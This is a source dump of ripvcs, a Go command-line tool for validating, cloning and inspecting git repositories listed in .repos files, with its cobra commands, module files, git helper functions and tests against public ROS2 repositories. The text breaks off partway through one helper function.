-------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "ripvcs/utils" 10 | 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | // validateCmd represents the validate command 15 | var validateCmd = &cobra.Command{ 16 | Use: "validate <.repos file>", 17 | Short: "Validate a .repos file", 18 | Long: `Validate a .repos file. 19 | 20 | It checks that all the repositories in the given file have a reachable Git URL 21 | and that the provided version exist.`, 22 | Run: func(cmd *cobra.Command, args []string) { 23 | if len(args) == 0 { 24 | fmt.Println("Error: Repos file not given!") 25 | os.Exit(1) 26 | } 27 | filePath := args[0] 28 | 29 | // Check that a valid file was given 30 | config, err := utils.ParseReposFile(filePath) 31 | if err != nil { 32 | fmt.Printf("Invalid file given {%s}. %s\n", filePath, err) 33 | os.Exit(1) 34 | } 35 | 36 | numWorkers, _ := cmd.Flags().GetInt("workers") 37 | // Create a channel to send work to the workers with a buffer size of length gitRepos 38 | jobs := make(chan utils.RepositoryJob, len(config.Repositories)) 39 | // Create channel to collect results 40 | results := make(chan bool, len(config.Repositories)) 41 | // Create a channel to indicate when the go routines have finished 42 | done := make(chan bool) 43 | 44 | for range numWorkers { 45 | go func() { 46 | for job := range jobs { 47 | if job.Repo.Type != "git" { 48 | utils.PrintRepoEntry(job.RepoPath, "") 49 | utils.PrintErrorMsg(fmt.Sprintf("Unsupported repository type %s.\n", job.Repo.Type)) 50 | results <- false 51 | } else { 52 | success := utils.PrintCheckGit(job.RepoPath, job.Repo.URL, job.Repo.Version, false) 53 | results <- success 54 | } 55 | } 56 | done <- true 57 | }() 58 | } 59 | 60 | for key, repo := range config.Repositories { 61 | jobs <- utils.RepositoryJob{RepoPath: key, Repo: repo} 62 | } 63 | close(jobs) 64 | // wait for all goroutines to finish 65 | for range numWorkers { 66 | <-done 67 | } 68 | close(results) 69 | for result := range results { 70 | if !result { 71 | os.Exit(1) 72 | } 73 | } 74 | }, 75 | } 76 | 77 | func init() { 78 | rootCmd.AddCommand(validateCmd) 79 | validateCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 80 | } 81 | -------------------------------------------------------------------------------- /cmd/version.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "fmt" 8 | "ripvcs/utils" 9 | 10 | "github.com/spf13/cobra" 11 | ) 12 | 13 | var ( 14 | // These variables should be set using ldflags during the build 15 | Version = "v1.0.1" 16 | Commit = "f402298" 17 | BuildDate = "28.03.2025" 18 | ) 19 | 20 | // versionCmd represents the version command 21 | var versionCmd = &cobra.Command{ 22 | Use: "version", 23 | Short: "Print the version number", 24 | Run: func(cmd *cobra.Command, args []string) { 25 | utils.PrintSection("ripvcs (rv)") 26 | utils.PrintSeparator() 27 | fmt.Printf("%sVersion:%s %s\n", utils.BlueColor, utils.ResetColor, Version) 28 | fmt.Printf("%sCommit:%s %s\n", utils.BlueColor, utils.ResetColor, Commit) 29 | fmt.Printf("%sBuild Date:%s %s\n", utils.BlueColor, utils.ResetColor, BuildDate) 30 | utils.PrintSeparator() 31 | }, 32 | } 33 | 34 | func init() { 35 | rootCmd.AddCommand(versionCmd) 36 | } 37 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ripvcs 2 | 3 | go 1.24.0 4 | 5 | require ( 6 | github.com/jesseduffield/yaml v2.1.0+incompatible 7 | github.com/spf13/cobra v1.8.0 8 | gopkg.in/yaml.v2 v2.4.0 9 | ) 10 | 11 | require ( 12 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 13 | github.com/spf13/pflag v1.0.5 // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 2 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 3 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 4 | github.com/jesseduffield/yaml v2.1.0+incompatible h1:HWQJ1gIv2zHKbDYNp0Jwjlj24K8aqpFHnMCynY1EpmE= 5 | github.com/jesseduffield/yaml v2.1.0+incompatible/go.mod h1:w0xGhOSIJCGYYW+hnFPTutCy5aACpkcwbmORt5axGqk= 6 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 7 | github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= 8 | github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= 9 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 10 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 11 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 12 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 13 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 14 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 15 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 16 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 NAME HERE 3 | */ 4 | package main 5 | 6 | import "ripvcs/cmd" 7 | 8 | func main() { 9 | cmd.Execute() 10 | } 11 | -------------------------------------------------------------------------------- /test/git_helpers_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "os" 5 | "os/exec" 6 | "ripvcs/utils" 7 | "strings" 8 | "testing" 9 | ) 10 | 11 | func TestMain(m *testing.M) { 12 | // Create temporary directories and files for testing 13 | createTestFiles() 14 | 15 | // Run tests 16 | exitVal := m.Run() 17 | 18 | cleanupTestFiles() 19 | 20 | // Exit with the appropriate exit code 21 | os.Exit(exitVal) 22 | } 23 | 24 | func createTestFiles() { 25 | // Create root directory 26 | path := "/tmp/testdata/valid_repo/" 27 | err := os.MkdirAll(path, 0755) 28 | if err != nil { 29 | panic(err) 30 | } 31 | cmd := exec.Command("git", "init") 32 | cmd.Dir = path 33 | _, err = cmd.CombinedOutput() 34 | if err != nil { 35 | panic(err) 36 | } 37 | 38 | // Create nested directories and .git repository 39 | path = "/tmp/testdata/normal_dir/another_repo/" 40 | err = os.MkdirAll(path, 0755) 41 | if err != nil { 42 | panic(err) 43 | } 44 | cmd = exec.Command("git", "init") 45 | cmd.Dir = path 46 | _, err = cmd.CombinedOutput() 47 | if err != nil { 48 | panic(err) 49 | } 50 | } 51 | 52 | func cleanupTestFiles() { 53 | err := os.RemoveAll("/tmp/testdata") 54 | if err != nil { 55 | panic(err) 56 | } 57 | } 58 | 59 | func TestIsGitRepository(t *testing.T) { 60 | if !utils.IsGitRepository("/tmp/testdata/valid_repo") { 61 | t.Errorf("Expected ./valid_repo to be a Git repository") 62 | } 63 | 64 | if utils.IsGitRepository("/tmp/testdata/normal_dir") { 65 | t.Errorf("Expected ./normal_dir to not be a Git repository") 66 | } 67 | } 68 | 69 | func TestFindGitRepos(t *testing.T) { 70 | foundRepos := utils.FindGitRepositories("/tmp/testdata") 71 | if len(foundRepos) != 2 { 72 | t.Errorf("Expected two git repositories relative to this test file, but got %v", len(foundRepos)) 73 | } 74 | } 75 | 76 | func TestGitStatus(t *testing.T) { 77 | if utils.GetGitStatus("/tmp/testdata/valid_repo", false) == "" { 78 | t.Errorf("Failed to check status of a valid repository") 79 | } 80 | if utils.GetGitStatus("/tmp/testdata/valid_repo", true) == "" { 81 | t.Errorf("Failed to check status of a valid repository") 82 | } 83 | } 84 | 85 | func TestGetGitBranch(t *testing.T) { 86 | testingBranch := "jazzy" 87 | repoPath := "/tmp/testdata/demos_branch" 88 | if utils.GitClone("https://github.com/ros2/demos.git", testingBranch, repoPath, true, false, false, false) != utils.SuccessfullClone { 89 | t.Errorf("Expected to successfully clone git repository") 90 | } 91 | if utils.GetGitBranch(repoPath) != testingBranch { 92 | t.Errorf("Failed to get main branch for valid git repository") 93 | } 94 | testingTag := "0.34.0" 95 | if utils.GitClone("https://github.com/ros2/demos.git", testingTag, repoPath, true, false, false, false) != utils.SuccessfullClone { 96 | t.Errorf("Expected to successfully clone git repository") 97 | } 98 | obtainedTag := utils.GetGitBranch(repoPath) 99 | if obtainedTag != testingTag { 100 | t.Errorf("Failed to get tag for the cloned repository. Got %s", obtainedTag) 101 | } 102 | } 103 | 104 | func TestGetGitCommitSha(t *testing.T) { 105 | testingSha := "839b622bc40ec62307d6ba0615adb9b8bd1cbc30" 106 | repoPath := "/tmp/testdata/demos_sha" 107 | if utils.GitClone("https://github.com/ros2/demos.git", testingSha, repoPath, false, false, false, false) != utils.SuccessfullClone { 108 | t.Errorf("Expected to successfully clone git repository") 109 | } 110 | if utils.GetGitCommitSha(repoPath) != testingSha { 111 | t.Errorf("Failed to get commit sha of the cloned git repository") 112 | } 113 | } 114 | 115 | func TestGetGitRemoteURL(t *testing.T) { 116 | repoPath := "/tmp/testdata/demos_url" 117 | remoteUrl := "https://github.com/ros2/demos.git" 118 | if utils.GitClone(remoteUrl, "", repoPath, false, false, false, false) != utils.SuccessfullClone { 119 | t.Errorf("Expected to successfully clone git repository") 120 | } 121 | if utils.GetGitRemoteURL(repoPath) != remoteUrl { 122 | t.Errorf("Failed to get remote URL for the git repository") 123 | } 124 | } 125 | 126 | func TestGitPull(t *testing.T) { 127 | repoPath := "/tmp/testdata/demos_pull" 128 | if utils.GitClone("https://github.com/ros2/demos.git", "rolling", repoPath, false, false, false, false) != utils.SuccessfullClone { 129 | t.Errorf("Expected to successfully clone git repository") 130 | } 131 | msg := utils.PullGitRepo(repoPath) 132 | if strings.TrimSpace(msg) != "Already up to date." { 133 | t.Errorf("Failed to pull valid repository. Obtained %s", msg) 134 | } 135 | } 136 | 137 | func TestGitLog(t *testing.T) { 138 | if utils.GetGitLog(".", false, 5) == "" { 139 | t.Errorf("Failed to check logs of a valid repository") 140 | } 141 | 142 | if utils.GetGitLog(".", true, 5) == "" { 143 | t.Errorf("Failed to check logs of a valid repository") 144 | } 145 | } 146 | 147 | func TestCheckGitUrl(t *testing.T) { 148 | if valid, err := utils.IsGitURLValid("https://github.com/ros2/demosasdasd.git", "rolling", false); valid { 149 | t.Errorf("Expected to return invalid URL. Error %v", err) 150 | } 151 | if valid, err := utils.IsGitURLValid("https://github.com/ros2/demos.git", "rolling", false); !valid { 152 | t.Errorf("Expected to return valid URL given a branch. Error %v", err) 153 | } 154 | if valid, err := utils.IsGitURLValid("https://github.com/ros2/demos.git", "", false); !valid { 155 | t.Errorf("Expected to return valid URL given no branch. Error %v", err) 156 | } 157 | if valid, err := utils.IsGitURLValid("https://github.com/ros2/demos.git", "0.34.0", false); !valid { 158 | t.Errorf("Expected to return valid URL given a tag. Error %v", err) 159 | } 160 | if valid, err := utils.IsGitURLValid("https://github.com/ros2/demos.git", "839b622bc40ec62307d6ba0615adb9b8bd1cbc30", false); valid { 161 | t.Errorf("Expected to return invalid URL given a commit SHA. Error %v", err) 162 | } 163 | } 164 | 165 | func TestIsValidCommitSha(t *testing.T) { 166 | if !utils.IsValidSha("e69de29bb2d1d6434b8b29ae775ad8c2e48c5391") { 167 | t.Errorf("Expected to return valid SHA") 168 | } 169 | if !utils.IsValidSha("839b622") { 170 | t.Errorf("Expected to return valid SHA") 171 | } 172 | if utils.IsValidSha("INVALIDSHA123456789012345678901234567890") { 173 | t.Errorf("Expected to return invalid SHA") 174 | } 175 | if utils.IsValidSha("11111111111111111111111111111111111111111") { 176 | t.Errorf("Expected to return invalid SHA. Invalid length (41 chars)") 177 | } 178 | if utils.IsValidSha("") { 179 | t.Errorf("Expected to return invalid SHA. Invalid length (0 chars)") 180 | } 181 | if utils.IsValidSha("999999") { 182 | t.Errorf("Expected to return invalid SHA. Invalid length (6 chars)") 183 | } 184 | } 185 | 186 | func TestCloneGitRepo(t *testing.T) { 187 | repoPath := "/tmp/testdata/demos_clone" 188 | if utils.GitClone("https://github.com/ros2/demos.git", "rolling", repoPath, false, false, false, false) != utils.SuccessfullClone { 189 | t.Errorf("Expected to successfully clone git repository") 190 | } 191 | if utils.GitClone("https://github.com/ros2/ros2cli", "", "/tmp/testdata/ros2cli", false, false, false, false) != utils.SuccessfullClone { 192 | t.Errorf("Expected to successfully clone git repository") 193 | } 194 | if utils.GitClone("https://github.com/ros2/sadasdasd.git", "", "/tmp/testdata/sdasda", false, false, false, false) != utils.FailedClone { 195 | t.Errorf("Expected to fail to clone git repository") 196 | } 197 | if utils.GitClone("https://github.com/ros2/demos.git", "", repoPath, false, false, false, false) != utils.SkippedClone { 198 | t.Errorf("Expected to skip to clone git repository") 199 | } 200 | if utils.GitClone("https://github.com/ros2/demos.git", "", repoPath, true, false, false, false) != utils.SuccessfullClone { 201 | t.Errorf("Expected to overwrite found git repository") 202 | } 203 | if utils.GitClone("https://github.com/ros2/demos.git", "", repoPath, true, true, false, false) != utils.SuccessfullClone { 204 | t.Errorf("Expected to successfully to clone git repository with shallow enabled") 205 | } 206 | if utils.GitClone("https://github.com/cyberbotics/webots_ros2.git", "", "/tmp/testdata/webots_ros2", false, false, false, true) != utils.SuccessfullClone { 207 | t.Errorf("Expected to successfully to clone git repository with submodules") 208 | } 209 | if utils.GitClone("https://github.com/cyberbotics/webots_ros2.git", "", "/tmp/testdata/webots_ros2", true, true, false, true) != utils.SuccessfullClone { 210 | t.Errorf("Expected to successfully to clone git repository with submodules and shallow enabled") 211 | } 212 | count, err := utils.RunGitCmd(repoPath, "rev-list", nil, []string{"--all", "--count"}...) 213 | if err != nil || strings.TrimSpace(count) != "1" { 214 | t.Errorf("Expected to have a shallow clone of the git repository") 215 | } 216 | 217 | testingSha := "839b622bc40ec62307d6ba0615adb9b8bd1cbc30" 218 | if utils.GitClone("https://github.com/ros2/demos.git", testingSha, repoPath, true, false, false, false) != utils.SuccessfullClone { 219 | t.Errorf("Expected to successfully clone git repository given a SHA") 220 | } 221 | } 222 | 223 | func TestGitSwitch(t *testing.T) { 224 | repoPath := "/tmp/testdata/switch_test" 225 | if utils.GitClone("https://github.com/ros2/demos.git", "rolling", repoPath, false, false, false, false) != utils.SuccessfullClone { 226 | t.Errorf("Expected to successfully clone git repository") 227 | } 228 | _, err := utils.GitSwitch(repoPath, "humble", false, false) 229 | if err != nil { 230 | t.Errorf("Expected to successfully to switch to a branch. Error %s", err) 231 | } 232 | 233 | _, err = utils.GitSwitch(repoPath, "nonexisting", false, false) 234 | if err == nil { 235 | t.Errorf("Expected to fail to switch to a nonexisting branch.\nError %s", err) 236 | } 237 | _, err = utils.GitSwitch(repoPath, "nonexisting", true, false) 238 | if err != nil { 239 | t.Errorf("Expected to successfully to create a new branch.\nError %s", err) 240 | } 241 | _, err = utils.GitSwitch(repoPath, "0.34.0", false, true) 242 | if err != nil { 243 | t.Errorf("Expected to successfully to switch to a tag.\nError %s", err) 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /test/invalid_example.repos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/worrisomeeav/ripvcs/75cfa5f461fbf90018d92d30735c7ce989eca246/test/invalid_example.repos -------------------------------------------------------------------------------- /test/nested_example.repos: -------------------------------------------------------------------------------- 1 | repositories: 2 | naoqi_driver2: 3 | type: git 4 | url: https://github.com/ros-naoqi/naoqi_driver2 5 | version: main 6 | twist_mux: 7 | type: git 8 | url: https://github.com/ros-teleop/twist_mux.git 9 | version: humble 10 | exclude: [twist_mux_deps.repos] 11 | twist_mux_2/stuff: 12 | type: git 13 | url: https://github.com/ros-teleop/twist_mux.git 14 | version: humble 15 | exclude: [stuff] 16 | 17 | -------------------------------------------------------------------------------- /test/repos_helpers_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | "ripvcs/utils" 7 | "testing" 8 | ) 9 | 10 | func TestReposFile(t *testing.T) { 11 | err := os.WriteFile("/tmp/wrong_extension.txt", []byte{}, 0644) 12 | if err != nil { 13 | panic(err) 14 | } 15 | errValid := utils.IsReposFileValid("/tmp/wrong_extension.txt") 16 | if errValid == nil { 17 | t.Errorf("Expected to report file with wrong extension") 18 | } 19 | errValid = utils.IsReposFileValid("missing_file.repos") 20 | if errValid == nil { 21 | t.Errorf("Expected to report non-existing file") 22 | } 23 | errValid = utils.IsReposFileValid("./valid_example.repos") 24 | if errValid != nil { 25 | t.Errorf("Expected to report a valid file") 26 | } 27 | } 28 | 29 | func TestParsingReposFile(t *testing.T) { 30 | repo, err := utils.ParseReposFile("./valid_example.repos") 31 | if err != nil { 32 | t.Errorf("Expected to parse .repos file") 33 | } 34 | if len(repo.Repositories) != 8 { 35 | t.Errorf("The parsed repositories from .repos file do not match the expected values.") 36 | } 37 | expectedType := "git" 38 | if repoType := repo.Repositories["demos_rolling"].Type; repoType != expectedType { 39 | t.Errorf("Expected to have %s as repo type. Got: %s", expectedType, repoType) 40 | } 41 | expectedUrl := "https://github.com/ros2/demos.git" 42 | if repoUrl := repo.Repositories["demos_rolling"].URL; repoUrl != expectedUrl { 43 | t.Errorf("Expected to have %s as repo url. Got: %s", expectedUrl, repoUrl) 44 | } 45 | expectedVersion := "rolling" 46 | if repoVersion := repo.Repositories["demos_rolling"].Version; repoVersion != expectedVersion { 47 | t.Errorf("Expected to have %s as repo version. Got: %s", expectedVersion, repoVersion) 48 | } 49 | repo, err = utils.ParseReposFile("./valid_example.rosinstall") 50 | if err != nil { 51 | t.Errorf("Expected to parse .rosinstall file") 52 | } 53 | if len(repo.Repositories) != 2 { 54 | t.Errorf("The parsed repositories from .rosinstall do not match the expected values.") 55 | } 56 | expectedType = "git" 57 | if repoType := repo.Repositories["moveit_msgs"].Type; repoType != expectedType { 58 | t.Errorf("Expected to have %s as repo type. Got: %s", expectedType, repoType) 59 | } 60 | expectedUrl = "https://github.com/moveit/moveit_msgs.git" 61 | if repoUrl := repo.Repositories["moveit_msgs"].URL; repoUrl != expectedUrl { 62 | t.Errorf("Expected to have %s as repo url. Got: %s", expectedUrl, repoUrl) 63 | } 64 | expectedVersion = "master" 65 | if repoVersion := repo.Repositories["moveit_msgs"].Version; repoVersion != expectedVersion { 66 | t.Errorf("Expected to have %s as repo version. Got: %s", expectedVersion, repoVersion) 67 | } 68 | 69 | err = os.WriteFile("/tmp/empty_file.repos", []byte{}, 0644) 70 | if err != nil { 71 | panic(err) 72 | } 73 | _, err = utils.ParseReposFile("/tmp/empty_file.repos") 74 | if err == nil { 75 | t.Errorf("Expected to report empty file") 76 | } 77 | err = os.RemoveAll("/tmp/empty_file.repos") 78 | if err != nil { 79 | panic(err) 80 | } 81 | } 82 | 83 | func TestFindingReposFiles(t *testing.T) { 84 | foundReposFiles, err := utils.FindReposFiles(".") 85 | 86 | if err != nil || len(foundReposFiles) == 0 { 87 | t.Errorf("Expected to find at least one .repos file %v", err) 88 | } 89 | foundReposFiles, err = utils.FindReposFiles("../cmd/") 90 | 91 | if err != nil || len(foundReposFiles) != 0 { 92 | t.Errorf("Expected to not find any .repos file %v", err) 93 | } 94 | } 95 | 96 | func TestFindDirectory(t *testing.T) { 97 | // Create dummy dir 98 | path := "/tmp/testdata/valid_repo/" 99 | err := os.MkdirAll(path, 0755) 100 | if err != nil { 101 | panic(err) 102 | } 103 | 104 | repoPath, err := utils.FindDirectory("/tmp/testdata", "valid_repo") 105 | if err != nil { 106 | t.Errorf("Expected to find directory %v", err) 107 | } 108 | if filepath.Clean(repoPath) != filepath.Clean(path) { 109 | t.Errorf("Wrong directory found. Expected %v, found %v", path, repoPath) 110 | } 111 | 112 | _, err = utils.FindDirectory("", "sadsd") 113 | if err == nil { 114 | t.Errorf("Expected to failed to find directory, based on empty rootPath") 115 | } 116 | _, err = utils.FindDirectory("/tmp", "") 117 | if err == nil { 118 | t.Errorf("Expected to failed to find directory, based on empty targetDir") 119 | } 120 | _, err = utils.FindDirectory("/sdasd", "") 121 | if err == nil { 122 | t.Errorf("Expected to failed to find directory, based on nonexisting rootPath") 123 | } 124 | _, err = utils.FindDirectory("/tmp", "/tmp/testdata/") 125 | if err == nil { 126 | t.Errorf("Expected to failed to find directory, targetDir being a path") 127 | } 128 | err = os.RemoveAll("/tmp/testdata") 129 | if err != nil { 130 | panic(err) 131 | } 132 | } 133 | 134 | func TestParseRepositoryInfo(t *testing.T) { 135 | repository := utils.ParseRepositoryInfo("", false) 136 | if repository.Type != "" || repository.Version != "" || repository.URL != "" { 137 | t.Errorf("Expected to get an empty repository object") 138 | } 139 | repoPath := "/tmp/testdata/demos_parse" 140 | repoURL := "https://github.com/ros2/demos.git" 141 | repoVersion := "rolling" 142 | if utils.GitClone(repoURL, repoVersion, repoPath, true, false, false, false) != utils.SuccessfullClone { 143 | t.Errorf("Expected to successfully clone git repository") 144 | } 145 | 146 | repository = utils.ParseRepositoryInfo(repoPath, false) 147 | if repository.Type != "git" || repository.Version != repoVersion || repository.URL != repoURL { 148 | t.Errorf("Failed to properly parse the repository info using branch") 149 | } 150 | 151 | repoVersion = "839b622bc40ec62307d6ba0615adb9b8bd1cbc30" 152 | if utils.GitClone(repoURL, repoVersion, repoPath, true, false, false, false) != utils.SuccessfullClone { 153 | t.Errorf("Expected to successfully clone git repository") 154 | } 155 | repository = utils.ParseRepositoryInfo(repoPath, true) 156 | if repository.Type != "git" || repository.Version != repoVersion || repository.URL != repoURL { 157 | t.Errorf("Failed to properly parse the repository info using commit") 158 | } 159 | 160 | repoVersion = "0.34.0" 161 | if utils.GitClone(repoURL, repoVersion, repoPath, true, false, false, false) != utils.SuccessfullClone { 162 | t.Errorf("Expected to successfully clone git repository") 163 | } 164 | repository = utils.ParseRepositoryInfo(repoPath, false) 165 | if repository.Type != "git" || repository.Version != repoVersion || repository.URL != repoURL { 166 | t.Errorf("Failed to properly parse the repository info using tag") 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /test/valid_example.repos: -------------------------------------------------------------------------------- 1 | repositories: 2 | demos_rolling: 3 | type: git 4 | url: https://github.com/ros2/demos.git 5 | version: rolling 6 | demos_rolling_2: 7 | type: git 8 | url: https://github.com/ros2/demos.git 9 | version: rolling 10 | demos_rolling_3: 11 | type: git 12 | url: https://github.com/ros2/demos.git 13 | version: rolling 14 | demos_rolling_4: 15 | type: git 16 | url: https://github.com/ros2/demos.git 17 | version: rolling 18 | demos_rolling_5: 19 | type: git 20 | url: https://github.com/ros2/demos.git 21 | version: rolling 22 | dummy/demos_rolling_5: 23 | type: git 24 | url: https://github.com/ros2/demos.git 25 | version: rolling 26 | dummy/demos_rolling: 27 | type: git 28 | url: https://github.com/ros2/demos.git 29 | version: rolling 30 | demos_humble: 31 | type: git 32 | url: https://github.com/ros2/demos.git 33 | version: humble 34 | -------------------------------------------------------------------------------- /test/valid_example.rosinstall: -------------------------------------------------------------------------------- 1 | - git: 2 | local-name: moveit_msgs 3 | uri: https://github.com/moveit/moveit_msgs.git 4 | version: master 5 | - git: 6 | local-name: moveit_resources 7 | uri: https://github.com/moveit/moveit_resources.git 8 | version: master 9 | -------------------------------------------------------------------------------- /utils/git_helpers.go: -------------------------------------------------------------------------------- 1 | // utils/git_helpers.go 2 | 3 | package utils 4 | 5 | import ( 6 | "fmt" 7 | "os" 8 | "os/exec" 9 | "path/filepath" 10 | "regexp" 11 | "strconv" 12 | "strings" 13 | ) 14 | 15 | // Create constant Error messages 16 | const ( 17 | SuccessfullClone = iota 18 | SkippedClone 19 | FailedClone 20 | ) 21 | 22 | // IsGitRepository checks if a directory is a git repository 23 | func IsGitRepository(dir string) bool { 24 | gitDir := filepath.Join(dir, ".git") 25 | _, err := os.Stat(gitDir) 26 | return err == nil 27 | } 28 | 29 | // FindGitRepositories Get a slice of all the found git repositories at the given root 30 | func FindGitRepositories(root string) []string { 31 | var gitRepos []string 32 | 33 | // Use an anonymous function to check each file found relative to the given root 34 | err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error { 35 | if err != nil { 36 | return err // Return any error encountered during walking 37 | } 38 | if info.IsDir() && IsGitRepository(path) { 39 | gitRepos = append(gitRepos, path) 40 | } 41 | return nil // Continue walking 42 | }) 43 | if err != nil { 44 | PrintErrorMsg(fmt.Sprintf("Error: %s", err)) 45 | } 46 | return gitRepos 47 | } 48 | 49 | // RunGitCmd Helper method to execute a git command 50 | func RunGitCmd(path string, gitCmd string, envConfig []string, args ...string) (string, error) { 51 | cmdArgs := append([]string{"-c", "color.ui=always", gitCmd}, args...) 52 | cmd := exec.Command("git", cmdArgs...) 53 | cmd.Env = append(os.Environ(), envConfig...) 54 | cmd.Dir = path 55 | 56 | output, err := cmd.CombinedOutput() 57 | if err != nil { 58 | return "", err 59 | } 60 | return string(output), nil 61 | } 62 | 63 | // GetGitStatus Execute git status in a given path 64 | func GetGitStatus(path string, plainStatus bool) string { 65 | var statusArgs []string 66 | if plainStatus { 67 | statusArgs = []string{"-sb"} 68 | } 69 | output, err := RunGitCmd(path, "status", nil, statusArgs...) 70 | if err != nil { 71 | PrintErrorMsg(fmt.Sprintf("Failed to check Git status of %s. Error: %s", path, err)) 72 | } 73 | return output 74 | } 75 | 76 | // GetGitBranch Get current git branch in a given path 77 | func GetGitBranch(path string) string { 78 | output, err := RunGitCmd(path, "branch", nil, "--show-current") 79 | if err != nil { 80 | PrintErrorMsg(fmt.Sprintf("Failed to get current Git branch of %s. Error: %s", path, err)) 81 | } 82 | if output != "" { 83 | return strings.TrimSpace(output) 84 | } 85 | checkTagArgs := []string{"--points-at", "HEAD"} 86 | output, err = RunGitCmd(path, "tag", nil, checkTagArgs...) 87 | if err != nil { 88 | PrintErrorMsg(fmt.Sprintf("Failed to get current Git branch of %s. Error: %s", path, err)) 89 | } 90 | return strings.TrimSpace(output) 91 | } 92 | 93 | func GetGitCommitSha(path string) string { 94 | cmdArgs := []string{"--verify", "HEAD"} 95 | output, err := RunGitCmd(path, "rev-parse", nil, cmdArgs...) 96 | if err != nil { 97 | PrintErrorMsg(fmt.Sprintf("Failed to get current Git commit of %s. Error: %s", path, err)) 98 | } 99 | return strings.TrimSpace(output) 100 | } 101 | 102 | func GetGitRemoteURL(path string) string { 103 | cmdArgs := []string{"get-url", "origin"} 104 | output, err := RunGitCmd(path, "remote", nil, cmdArgs...) 105 | if err != nil { 106 | PrintErrorMsg(fmt.Sprintf("Failed to get URL for the origin remote of %s. Error: %s", path, err)) 107 | } 108 | return strings.TrimSpace(output) 109 | } 110 | 111 | // PullGitRepo Execute git pull in a given path 112 | func PullGitRepo(path string) string { 113 | output, err := RunGitCmd(path, "pull", nil) 114 | if err != nil { 115 | PrintErrorMsg(fmt.Sprintf("Failed to pull Git repository %s. Error: %s", path, err)) 116 | } 117 | return output 118 | } 119 | 120 | // StashGitRepo Execute git stash in a given path 121 | func StashGitRepo(path string, stashCmd string) string { 122 | output, err := RunGitCmd(path, "stash", nil, []string{stashCmd}...) 123 | if err != nil { 124 | PrintErrorMsg(fmt.Sprintf("Failed to run stash with %s Git repository %s. Error: %s", stashCmd, path, err)) 125 | } 126 | return output 127 | } 128 | 129 | // SyncGitRepo Handle syncronization of a git repo 130 | func SyncGitRepo(path string) string { 131 | output := StashGitRepo(path, "push") 132 | output += PullGitRepo(path) 133 | if StashGitRepo(path, "list") != "" { 134 | output += StashGitRepo(path, "pop") 135 | } 136 | return output 137 | } 138 | 139 | // IsGitURLValid Check if a git URL is reachable 140 | func IsGitURLValid(url string, version string, enablePrompt bool) (bool, error) { 141 | var envConfig []string 142 | if enablePrompt { 143 | envConfig = []string{"GIT_TERMINAL_PROMPT=1"} 144 | } else { 145 | envConfig = []string{"GIT_TERMINAL_PROMPT=0"} 146 | } 147 | 148 | var urlArgs []string 149 | var output string 150 | var err error 151 | 152 | if IsValidSha(version) { 153 | err = fmt.Errorf("validation of URL given a commit SHA is currently not supported") 154 | } else { 155 | if version == "" { 156 | urlArgs = []string{url} 157 | } else { 158 | urlArgs = []string{url, version} 159 | } 160 | output, err = RunGitCmd(".", "ls-remote", envConfig, urlArgs...) 161 | } 162 | if err != nil || len(output) == 0 { 163 | return false, err 164 | } 165 | return true, nil 166 | } 167 | 168 | // GetGitLog Get logs for a given git repository 169 | func GetGitLog(path string, oneline bool, numCommits int) string { 170 | var cmdArgs []string 171 | 172 | if oneline { 173 | cmdArgs = []string{"-n", strconv.Itoa(numCommits), "--oneline"} 174 | } else { 175 | cmdArgs = []string{"-n", strconv.Itoa(numCommits)} 176 | } 177 | 178 | output, err := RunGitCmd(path, "log", nil, cmdArgs...) 179 | if err != nil { 180 | PrintErrorMsg(fmt.Sprintf("Failed to check Git log of %s. Error: %s", path, err)) 181 | } 182 | return output 183 | } 184 | 185 | // GitSwitch Switch version for a given git repository 186 | func GitSwitch(path string, branch string, createBranch bool, detachHead bool) (string, error) { 187 | 188 | cmdArgs := 